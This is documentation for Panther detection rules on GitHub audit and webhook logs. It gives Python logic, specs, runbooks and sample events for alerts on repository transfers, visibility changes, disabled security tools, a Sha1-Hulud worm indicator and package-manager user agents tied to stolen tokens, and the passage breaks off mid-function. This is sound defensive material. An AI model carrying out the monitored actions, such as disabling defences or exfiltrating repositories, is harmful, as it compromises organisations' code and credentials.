Reference: https://docs.github.com/en/get-started/quickstart/create-a-repo
Severity: Info
Description: Detects when a repository is created.

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is repo.create

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • repo.create
field:"action" kind:eq value:"repo.create"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
repo

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "repo.create",
  "actor": "cat",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub Repository Ruleset Modified

#
Severity
informational
Group by
_document_id
Log types
GitHub.Audit
Tags
GitHub, Defense Evasion, Impair Defenses, Disable or Modify Tools
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Disabling repository ruleset controls could indicate malicious use of admin credentials in an attempt to hide activity.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment

Telemetry coverage

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    return event.get("action").startswith("repository_ruleset.")


def title(event):
    action = "modified"
    if event.get("action").endswith("destroy"):
        action = "deleted"
    elif event.get("action").endswith("create"):
        action = "created"

    title_str = (
        f"Github repository ruleset for [{event.get('repo', '<UNKNOWN_REPO>')}]"
        f" {action} by [{event.get('actor','<UNKNOWN_ACTOR>')}]"
    )

    if event.get("ruleset_source_type", default="<UNKNOWN_SOURCE_TYPE>") == "Organization":
        title_str = (
            f"Github repository ruleset for Organization [{event.get('org', '<UNKNOWN_ORG>')}]"
            f" {action} by [{event.get('actor','<UNKNOWN_ACTOR>')}]"
        )
    return title_str


def dedup(event):
    return event.get("_document_id", "")


def severity(event):
    if event.get("action").endswith("create"):
        return "INFO"
    if event.get("action").endswith("update"):
        return "MEDIUM"
    if event.get("action").endswith("destroy"):
        return "HIGH"
    return "DEFAULT"


def alert_context(event):
    ctx = github_alert_context(event)
    ctx["user"] = event.get("actor", "")
    ctx["actor_is_bot"] = event.get("actor_is_bot", "")
    ctx["actor_user_agent"] = event.get("user_agent", "")
    ctx["business"] = event.get("business", "")
    ctx["public_repo"] = event.get("public_repo", "")
    ctx["operation_type"] = event.get("operation_type", "")
    ctx["ruleset_bypass_actors"] = event.deep_walk("ruleset_bypass_actors")
    ctx["ruleset_conditions"] = event.deep_walk("ruleset_conditions")
    ctx["ruleset_rules"] = event.deep_walk("ruleset_rules")
    return ctx

Rule specification

AnalysisType: rule
Filename: github_repo_ruleset_modified.py
RuleID: "GitHub.Repo.RulesetModified"
DisplayName: "GitHub Repository Ruleset Modified"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Defense Evasion
  - Impair Defenses
  - Disable or Modify Tools
Reports:
  MITRE ATT&CK:
    - TA0005:T1562 # Impair Defenses: Disable or Modify Tools
Reference: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets
Severity: Info
Description: Disabling repository ruleset controls could indicate malicious use of admin credentials in an attempt to hide activity.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Verify that ruleset modifications are intended and authorized.

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action starts with repository_ruleset.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionstarts_with
  • repository_ruleset.
field:"action" kind:starts_with value:"repository_ruleset."

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Response runbook

Verify that ruleset modifications are intended and authorized.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "repository_ruleset.create",
  "actor": "dog",
  "actor_id": "999999999",
  "actor_is_bot": false,
  "actor_location": {
    "country_code": "US"
  },
  "business": "bizname",
  "business_id": "12345",
  "created_at": "2024-12-17 00:00:00000000",
  "operation_type": "create",
  "org": "some-org",
  "org_id": 12345678,
  "public_repo": true,
  "repo": "some-org/ruleset-repo",
  "repo_id": 123456789,
  "ruleset_bypass_actors": [
    {
      "actor_id": 123456,
      "actor_type": "Integration",
      "bypass_mode": "always",
      "id": 123456
    },
    {
      "actor_id": 123456,
      "actor_type": "Team",
      "bypass_mode": "always",
      "id": 1234567
    }
  ],
  "ruleset_conditions": [
    {
      "id": 1234567,
      "parameters": {
        "exclude": [],
        "include": [
          "~DEFAULT_BRANCH"
        ]
      },
      "target": "ref_name"
    }
  ],
  "ruleset_enforcement": "enabled",
  "ruleset_id": "1234567",
  "ruleset_name": "a-ruleset-name",
  "ruleset_rules": [
    {
      "id": 12345678,
      "parameters": {
        "allowed_merge_methods": [
          "merge",
          "squash",
          "rebase"
        ],
        "authorized_dismissal_actors_only": false,
        "automatic_copilot_code_review_enabled": false,
        "dismiss_stale_reviews_on_push": false,
        "ignore_approvals_from_contributors": false,
        "require_code_owner_review": false,
        "require_last_push_approval": false,
        "required_approving_review_count": 1,
        "required_review_thread_resolution": false,
        "required_reviewers": []
      },
      "type": "pull_request"
    },
    {
      "id": 12345678,
      "parameters": {},
      "type": "deletion"
    },
    {
      "id": 12345678,
      "parameters": {},
      "type": "non_fast_forward"
    }
  ],
  "ruleset_source_type": "Repository",
  "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
}

Github Repository Transfer

#
Severity
medium
Log types
GitHub.Audit
Tags
Github Repository, Github Repository Transfer, Repository, Transfer
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

A user accepted a request to receive a transferred Github repository, a Github repository was transferred to another repository network, or a user sent a request to transfer a repository to another user or organization.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    # Return True to match the log event and trigger an alert.
    return event.get("action", "") in (
        "repo.transfer",
        "repo.transfer_outgoing",
        "repo.transfer_start",
    )


def title(event):
    # (Optional) Return a string which will be shown as the alert title.
    # If no 'dedup' function is defined, the return value of this method
    # will act as deduplication string.
    action = event.get("action", "")
    if action == "repo.transfer":
        # return something like: A user accepted a request to receive a transferred repository.
        return (
            f"Github User [{event.get('actor','NO_ACTOR_FOUND')}] accepted a request to "
            f"receive repository [{event.get('repo','NO_REPO_NAME_FOUND')}] in "
            f"[{event.get('org','NO_ORG_NAME_FOUND')}]."
        )
    if action == "repo.transfer_outgoing":
        # return something like: A repository was transferred to another repository network.
        return (
            f"Github User [{event.get('actor','NO_ACTOR_FOUND')}] transferred repository "
            f"[{event.get('repo','NO_REPO_NAME_FOUND')}] in "
            f"[{event.get('org','NO_ORG_NAME_FOUND')}]."
        )
    if action == "repo.transfer_start":
        # return something like: A user sent a request to transfer a
        # repository to another user or organization.
        return (
            f"Github User [{event.get('actor','NO_ACTOR_FOUND')}] sent a request to "
            f"transfer repository [{event.get('repo','NO_REPO_NAME_FOUND')}] "
            f"to another user or organization."
        )

    return ""


def alert_context(event):
    #  (Optional) Return a dictionary with additional data to be included in the alert
    # sent to the SNS/SQS/Webhook destination
    return github_alert_context(event)

Rule specification

AnalysisType: rule
Description: A user accepted a request to receive a transferred Github repository, a  Github repository was transferred to another repository network, or a user sent a request to transfer a repository to another user or organization.
DisplayName: "Github Repository Transfer"
Enabled: true
Filename: github_repository_transfer.py
Reference: |-
  https://docs.github.com/en/enterprise-server@3.3/repositories/creating-and-managing-repositories/transferring-a-repository

  https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#repo-category-actions
Runbook: Please check with the referenced users or their supervisors to ensure the transferring of this repository is expected and allowed.
Severity: Medium
Tags:
  - Github Repository
  - Github Repository Transfer
  - Repository
  - Transfer
DedupPeriodMinutes: 60
LogTypes:
  - GitHub.Audit
RuleID: "Github.Repository.Transfer"
SummaryAttributes:
  - action
Threshold: 1

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is one of repo.transfer, repo.transfer_outgoing, repo.transfer_start

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • repo.transfer
  • repo.transfer_outgoing
  • repo.transfer_start
field:"action" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Response runbook

Please check with the referenced users or their supervisors to ensure the transferring of this repository is expected and allowed.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "BodJtQIrT3kWMIQpm1ANew",
  "action": "repo.transfer_outgoing",
  "actor": "user-name",
  "actor_location": {
    "country_code": "US"
  },
  "at_sign_timestamp": "2022-12-14 19:16:31.299",
  "created_at": "2022-12-14 19:16:31.299",
  "org": "your-organization",
  "repo": "your-organizatoin/project_repo",
  "visibility": "private"
}

GitHub Repository Visibility Change

#
Severity
high
Log types
GitHub.Audit
Tags
GitHub, Exfiltration:Exfiltration Over Web Service
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when an organization repository visibility changes.

MITRE ATT&CK coverage

TacticTechniques
Exfiltration

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "repo.access"


def title(event):
    repo_access_link = f"https://github.com/{event.get('repo','<UNKNOWN_REPO>')}/settings/access"
    return (
        f"Repository [{event.get('repo', '<UNKNOWN_REPO>')}] visibility changed. "
        f"View current visibility here: {repo_access_link}"
    )

Rule specification

AnalysisType: rule
Filename: github_repo_visibility_change.py
RuleID: "Github.Repo.VisibilityChange"
DisplayName: "GitHub Repository Visibility Change"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Exfiltration:Exfiltration Over Web Service
Reports:
  MITRE ATT&CK:
    - TA0010:T1567
Reference: https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility
Severity: High
Description: Detects when an organization repository visibility changes.

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is repo.access

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • repo.access
field:"action" kind:eq value:"repo.access"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
repo

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "repo.access",
  "actor": "cat",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub Secret Scanning Alert Created

#
Severity
medium
Log types
GitHub.Audit
Tags
GitHub
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

GitHub detected a secret and created a secret scanning alert.

MITRE ATT&CK coverage

TacticTechniques
Credential Access

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action", "") == "secret_scanning_alert.create"


def title(event):
    return (
        f"Github detected a secret in {event.get('repo', '<REPO_NOT_FOUND>')} "
        f"(#{event.get('number', '<NUMBER_NOT_FOUND>')})"
    )


def alert_context(event):
    return {
        "github_organization": event.get("org", "<ORG_NOT_FOUND>"),
        "github_repository": event.get("repo", "<REPO_NOT_FOUND>"),
        "alert_number": str(event.get("number", "<NUMBER_NOT_FOUND>")),
        "url": (
            f"https://github.com/{event.get('repo')}/security/secret-scanning/"
            f"{event.get('number')}"
            if all([event.get("repo"), event.get("number")])
            else "<URL_NOT_FOUND>"
        ),
    }

Rule specification

AnalysisType: rule
Filename: github_secret_scanning_alert_created.py
RuleID: "GitHub.Secret.Scanning.Alert.Created"
DisplayName: "GitHub Secret Scanning Alert Created"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
Reports:
  MITRE ATT&CK:
    - TA0006:T1552
Severity: Medium
Description: GitHub detected a secret and created a secret scanning alert.
Runbook: Review the secret to determine if it needs to be revoked or the alert suppressed.
Reference: https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is secret_scanning_alert.create

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • secret_scanning_alert.create
field:"action" kind:eq value:"secret_scanning_alert.create"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
github_organizationorg
github_repositoryrepo
alert_numbernumber

Response runbook

Review the secret to determine if it needs to be revoked or the alert suppressed.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "secret_scanning_alert.create",
  "actor": "github",
  "actor_id": "1234",
  "business": "Acme Inc.",
  "business_id": "12345",
  "created_at": "2023-10-18 18:20:52.209000000",
  "number": 12,
  "org": "acme-inc",
  "org_id": 1234567,
  "repo": "acme-inc/crown-jewels",
  "repo_id": 123456789
}

GitHub Security Change, includes GitHub Advanced Security

#
Severity
low
Group by
action, actor
Log types
GitHub.Audit
Tags
GitHub
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

The rule alerts when GitHub Security tools (Dependabot, Secret Scanner, etc) are disabled.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment

Telemetry coverage

PlatformRecord / event type
GitHubAudit log action business.disable_oidc: OIDC SSO disabled for enterprise
GitHubAudit log action business.disable_saml: SAML SSO disabled for enterprise
GitHubAudit log action business.disable_two_factor_requirement: 2FA requirement disabled for enterprise
GitHubAudit log action business.members_can_update_protected_branches.disable: Member branch protection updates disabled for enterprise
GitHubAudit log action business_advanced_security.disabled: GitHub Advanced Security disabled for enterprise
GitHubAudit log action business_advanced_security.disabled_for_new_repos: Advanced Security disabled for new enterprise repositories
GitHubAudit log action business_secret_scanning.disable: Secret scanning disabled for enterprise
GitHubAudit log action business_secret_scanning.disabled_for_new_repos: Secret scanning disabled for new enterprise repositories
GitHubAudit log action business_secret_scanning_custom_pattern_push_protection.disabled: Secret scanning custom pattern push protection disabled for enterprise
GitHubAudit log action business_secret_scanning_push_protection.disable: Secret scanning push protection disabled for enterprise
GitHubAudit log action business_secret_scanning_push_protection.disabled_for_new_repos: Secret scanning push protection disabled for new enterprise repos
GitHubAudit log action business_secret_scanning_push_protection_custom_message.disable: Push protection custom message disabled for enterprise
GitHubAudit log action dependabot_alerts.disable: Dependabot alerts disabled for all existing repositories
GitHubAudit log action dependabot_alerts_new_repos.disable: Dependabot alerts disabled for all new repositories
GitHubAudit log action dependabot_security_updates.disable: Dependabot security updates disabled for all existing repositories
GitHubAudit log action dependabot_security_updates_new_repos.disable: Dependabot security updates disabled for all new repositories
GitHubAudit log action org.advanced_security_disabled_for_new_repos: Advanced Security disabled for new repositories in organization
GitHubAudit log action org.advanced_security_disabled_on_all_repos: Advanced Security disabled for all repositories in organization
GitHubAudit log action org.advanced_security_policy_selected_member_disabled: Advanced Security features blocked for organization repositories
GitHubAudit log action repo.advanced_security_disabled: GitHub Advanced Security disabled for repository
GitHubAudit log action repository_secret_scanning_push_protection.disable: Secret scanning push protection disabled for repository
GitHubAudit log action repository_vulnerability_alerts.disable: Dependabot alerts disabled
GitHubAudit log action secret_scanning.disable: Secret scanning disabled for all existing repositories
GitHubAudit log action secret_scanning_new_repos.disable: Secret scanning disabled for new repositories

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import github_alert_context

# List of actions in markdown format
# pylint: disable=line-too-long
# https://github.com/github/docs/blob/main/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md
# grep '^| `' audit-log-events-for-your-enterprise.md.txt | sed -e 's/\| //' -e 's/`//g' | awk -F\| '{if ($1 ~ /business/) {print $1}}'
# pylint: enable=line-too-long

# {GitHub Action: Alert Severity}
ADV_SEC_ACTIONS = {
    "dependabot_alerts.disable": "CRITICAL",
    "dependabot_alerts_new_repos.disable": "HIGH",
    "dependabot_security_updates.disable": "CRITICAL",
    "dependabot_security_updates_new_repos.disable": "HIGH",
    "repository_secret_scanning_push_protection.disable": "HIGH",
    "secret_scanning.disable": "CRITICAL",
    "secret_scanning_new_repos.disable": "HIGH",
    "bypass": "MEDIUM",  # Bypass secret scanner push protection for a detected secret.
    # pylint: disable=line-too-long
    # The events that begin with "business" are seemingly from enterprise logs
    # business.disable_oidc  -  OIDC single sign-on was disabled for an enterprise.
    "business.disable_oidc": "CRITICAL",
    # business.disable_saml  -  SAML single sign-on was disabled for an enterprise.
    "business.disable_saml": "CRITICAL",
    # business.disable_two_factor_requirement  -  The requirement for members to
    #    have two-factor authentication enabled to access an enterprise was disabled.
    "business.disable_two_factor_requirement": "CRITICAL",
    # business.members_can_update_protected_branches.disable  -  The ability for
    #    enterprise members to update branch protection rules was disabled.
    #    Only enterprise owners can update protected branches.
    "business.members_can_update_protected_branches.disable": "MEDIUM",
    # business.referrer_override_disable  -  An enterprise owner or site administrator
    #    disabled the referrer policy override.
    "business.referrer_override_disable": "MEDIUM",
    # business_advanced_security.disabled  -  {% data
    #    variables.product.prodname_GH_advanced_security %}
    #    was disabled for your enterprise. For more information, see "[Managing
    #    {% data variables.product.prodname_GH_advanced_security %}
    #    features for your enterprise]
    #    (/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_advanced_security.disabled": "CRITICAL",
    # business_advanced_security.disabled_for_new_repos  -  {% data
    #    variables.product.prodname_GH_advanced_security %} was disabled for
    #    new repositories in your enterprise. For more information, see
    #    "[Managing {% data variables.product.prodname_GH_advanced_security %} features
    #    for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_advanced_security.disabled_for_new_repos": "HIGH",
    # business_secret_scanning.disable  -  {% data variables.product.prodname_secret_scanning_caps %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_secret_scanning.disable": "CRITICAL",
    # business_secret_scanning.disabled_for_new_repos  -  {% data variables.product.prodname_secret_scanning_caps %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_secret_scanning.disabled_for_new_repos": "CRITICAL",
    # business_secret_scanning_custom_pattern_push_protection.disabled  -  Push protection for a custom pattern for {% data variables.product.prodname_secret_scanning %} was disabled for your enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-enterprise-account)."
    "business_secret_scanning_custom_pattern_push_protection.disabled": "HIGH",
    # business_secret_scanning_push_protection.disable  -  Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_secret_scanning_push_protection.disable": "CRITICAL",
    # business_secret_scanning_push_protection.disabled_for_new_repos  -  Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_secret_scanning_push_protection.disabled_for_new_repos": "HIGH",
    # business_secret_scanning_push_protection_custom_message.disable  -  The custom message triggered by an attempted push to a push-protected repository was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
    "business_secret_scanning_push_protection_custom_message.disable": "HIGH",
    #
    # There are also correlating github _org_ level events
    "org.advanced_security_disabled_for_new_repos": "HIGH",
    "org.advanced_security_disabled_on_all_repos": "CRITICAL",
    # org.advanced_security_policy_selected_member_disabled - An enterprise owner prevented {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}
    # pylint: enable=line-too-long
    "org.advanced_security_policy_selected_member_disabled": "HIGH",
    "repo.advanced_security_disabled": "CRITICAL",
    "repo.advanced_security_policy_selected_member_disabled": "HIGH",
    # repository_vulnerability_alerts.disable - Dependabot alerts was disabled.
    "repository_vulnerability_alerts.disable": "HIGH",
}


def rule(event):

    return event.get("action", "") in ADV_SEC_ACTIONS


def title(event):
    action = event.get("action", "")
    advanced_sec_text = ""
    # https://docs.github.com/en/get-started/learning-about-github/about-github-advanced-security#about-advanced-security-features
    if "advanced_security" in action or "secret_scanning" in action:
        advanced_sec_text = "Advanced "
    return f"Change detected to GitHub {advanced_sec_text}Security - {event.get('action', '')}"


def alert_context(event):
    return github_alert_context(event)


# Use the per action severity configured above
def severity(event):
    return ADV_SEC_ACTIONS.get(event.get("action", ""), "Low")


def dedup(event):
    # 1. Actor
    # 2. Action
    # We should dedup on actor - action
    actor = event.get("actor", "<NO_ACTOR>")
    action = event.get("action", "<NO_ACTION>")
    return "_".join([actor, action])

Rule specification

AnalysisType: rule
Filename: github_advanced_security_change.py
RuleID: "GitHub.Advanced.Security.Change"
DisplayName: "GitHub Security Change, includes GitHub Advanced Security"
Enabled: true
CreateAlert: false
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
Reports:
  MITRE ATT&CK:
    - TA0005:T1562
Severity: Low
Description: The rule alerts when GitHub Security tools (Dependabot, Secret Scanner, etc) are disabled.
Runbook: Confirm with GitHub administrators and re-enable the tools as applicable.
Reference: https://docs.github.com/en/code-security/getting-started/auditing-security-alerts

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is one of dependabot_alerts.disable, dependabot_alerts_new_repos.disable, dependabot_security_updates.disable, dependabot_security_updates_new_repos.disable, repository_secret_scanning_push_protection.disable (+22 more values, see Indicators below)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • business.disable_oidc
  • business.disable_saml
  • business.disable_two_factor_requirement
  • business.members_can_update_protected_branches.disable
  • business.referrer_override_disable
  • business_advanced_security.disabled
  • business_advanced_security.disabled_for_new_repos
  • business_secret_scanning.disable
  • business_secret_scanning.disabled_for_new_repos
  • business_secret_scanning_custom_pattern_push_protection.disabled
  • business_secret_scanning_push_protection.disable
  • business_secret_scanning_push_protection.disabled_for_new_repos
  • business_secret_scanning_push_protection_custom_message.disable
  • bypass
  • dependabot_alerts.disable
  • dependabot_alerts_new_repos.disable
  • dependabot_security_updates.disable
  • dependabot_security_updates_new_repos.disable
  • org.advanced_security_disabled_for_new_repos
  • org.advanced_security_disabled_on_all_repos
  • org.advanced_security_policy_selected_member_disabled
  • repo.advanced_security_disabled
  • repo.advanced_security_policy_selected_member_disabled
  • repository_secret_scanning_push_protection.disable
  • repository_vulnerability_alerts.disable
  • secret_scanning.disable
  • secret_scanning_new_repos.disable
field:"action" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Response runbook

Confirm with GitHub administrators and re-enable the tools as applicable.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "repository_secret_scanning_push_protection.disable",
  "actor": "bobert",
  "actor_location": {
    "country_code": "US"
  },
  "at_sign_timestamp": "2022-08-16 16:56:49.309",
  "created_at": "2022-08-16 16:56:49.309",
  "org": "an-org",
  "repo": "an-org/a-repo",
  "user": "bobert"
}

GitHub Sha1-Hulud Malicious Repository Created

#
Severity
high
Log types
GitHub.Webhook
Tags
GitHub, Supply Chain, Threat Intelligence
Reference
www.wiz.io
Source
github.com/panther-labs/panther-analysis

Detects when a repository is created with the description "Sha1-Hulud: The Second Coming.", which is a known indicator of compromise associated with the Sha1-Hulud 2.0 campaign. Repos created with this description are typically indicators of an exfiltration attempt by the worm.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import github_webhook_alert_context


def rule(event):
    if event.get("action") != "created":
        return False

    # Check if the repository description matches the Shai-Hulud indicator
    description = event.deep_get("repository", "description", default="")
    return description == "Sha1-Hulud: The Second Coming."


def title(event):
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    user = event.deep_get("sender", "login", default="<UNKNOWN_USER>")
    return f"Sha1-Hulud malicious repository [{repo_name}] created by compromised user [{user}]"


def alert_context(event):
    context = github_webhook_alert_context(event)
    return context

Rule specification

AnalysisType: rule
Filename: github_shai_hulud_repo_created.py
RuleID: "GitHub.Webhook.Sha1HuludRepoCreated"
DisplayName: "GitHub Sha1-Hulud Malicious Repository Created"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
Tags:
  - GitHub
  - Supply Chain
  - Threat Intelligence
Severity: High
Description: >
  Detects when a repository is created with the description "Sha1-Hulud: The Second Coming.",
  which is a known indicator of compromise associated with the Sha1-Hulud 2.0 campaign. Repos
  created with this description are typically indicators of an exfiltration attempt by the worm.
Runbook: |
  1. Immediately investigate the repository and its creator
  2. Review the repository owner's account for signs of compromise
  3. Check if any code has been pushed to the repository
  4. Review organization access and permissions for the user who created the repository
  5. Consider immediately archiving or deleting the repository
  6. Report the repository and user to GitHub Trust & Safety
  7. Review recent activity from the same user across all repositories
  8. Check for any downstream impacts if the repository was forked or cloned
  9. Notify security team and relevant stakeholders immediately
Reference: https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • action is created
  • repository.description is Sha1-Hulud: The Second Coming.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
full_namerepository.full_name
loginsender.login

Response runbook

1. Immediately investigate the repository and its creator

2. Review the repository owner's account for signs of compromise

3. Check if any code has been pushed to the repository

4. Review organization access and permissions for the user who created the repository

5. Consider immediately archiving or deleting the repository

6. Report the repository and user to GitHub Trust & Safety

7. Review recent activity from the same user across all repositories

8. Check for any downstream impacts if the repository was forked or cloned

9. Notify security team and relevant stakeholders immediately

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "created",
  "organization": {
    "id": 123456789,
    "login": "Owner"
  },
  "p_log_type": "GitHub.Webhook",
  "repository": {
    "clone_url": "https://github.com/Owner/wuhhsdknjf.git",
    "created_at": "2025-11-25T17:32:12Z",
    "description": "Sha1-Hulud: The Second Coming.",
    "full_name": "Owner/wuhhsdknjf",
    "html_url": "https://github.com/Owner/wuhhsdknjf",
    "id": 1104055056,
    "name": "wuhhsdknjf",
    "node_id": "R_kgDOQc6LEA",
    "owner": {
      "id": 123456789,
      "login": "Owner",
      "type": "Organization"
    },
    "private": true,
    "visibility": "private"
  },
  "sender": {
    "html_url": "https://github.com/Owner",
    "id": 123456789,
    "login": "Owner",
    "type": "User"
  }
}

GitHub Supply Chain - Software Installation Tool User Agents

#
Severity
medium
Group by
actor, user_agent
Log types
GitHub.Audit
Tags
Supply Chain, Installation Tools, Package Managers
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects software installation tool user agents in GitHub audit logs that should never directly access GitHub. Package managers like npm, pip, yarn, and system installers operate at the registry level, not GitHub audit level. Their presence indicates: 1. Supply chain attacks using spoofed user agents to blend in 2. Compromised systems running installation tools with stolen GitHub tokens 3. Malicious automation disguised as legitimate package managers Based on analysis of GitHub audit logs showing zero legitimate npm/yarn/pip user agents, any such patterns are inherently suspicious and warrant immediate investigation.

MITRE ATT&CK coverage

Detection logic

import re

from panther_github_helpers import github_alert_context

# pylint: disable=line-too-long
# Suspicious package manager and installation tool patterns
SUSPICIOUS_PATTERNS = [
    # NPM patterns
    # https://github.com/npm/cli/blob/latest/workspaces/config/lib/definitions/definitions.js#L2137
    # Format: npm/{version} node/v{version} {platform} {arch} workspaces/{boolean} [ci/{name}]
    r"npm/\d+\.\d+\.\d+\s+node/v\d+\.\d+\.\d+\s+\w+\s+\w+\s+workspaces/(?:true|false)(?:\s+ci/\w+)?",
    # Yarn patterns
    # https://github.com/yarnpkg/berry/blob/master/packages/yarnpkg-core/sources/scriptUtils.ts#L187-L192
    # "yarn/{version} npm/? node/{version} {platform} {arch}"
    r"yarn/\d+\.\d+\.\d+(?:-core)?\s+npm/\?\s+node/v\d+\.\d+\.\d+\s+\w+\s+\w+",
    # Python pip patterns
    # https://github.com/pypa/pip/blob/main/src/pip/_internal/network/session.py#L204
    # "pip/24.0 {"ci":null,"cpu":"aarch64","distro":{"name":"Alpine Linux"...}}"
    r"pip/\d+\.\d+(?:\.\d+)?\s+\{.*\}",
    # Ruby Gem patterns
    # https://github.com/rubygems/rubygems/blob/master/lib/rubygems/request.rb#L276
    # Ruby, RubyGems/{version} {platform} Ruby/{version} ({date} patchlevel {number})
    r"Ruby,\s+RubyGems/\d+\.\d+\.\d+\s+[\w-]+\s+Ruby/\d+\.\d+\.\d+\s+\([^)]+\)",
    # Rust Cargo patterns
    # https://github.com/rust-lang/cargo/blob/master/src/cargo/util/network/http.rs#L76
    # Default user agent: handle.useragent(&format!("cargo/{}", version()))?;
    r"cargo/\d+\.\d+\.\d+",
]


# Compile regex patterns for performance
COMPILED_SUSPICIOUS_PATTERNS = [
    re.compile(pattern, re.IGNORECASE) for pattern in SUSPICIOUS_PATTERNS
]


def rule(event):
    user_agent = event.get("user_agent", "")
    action = event.get("action", "")

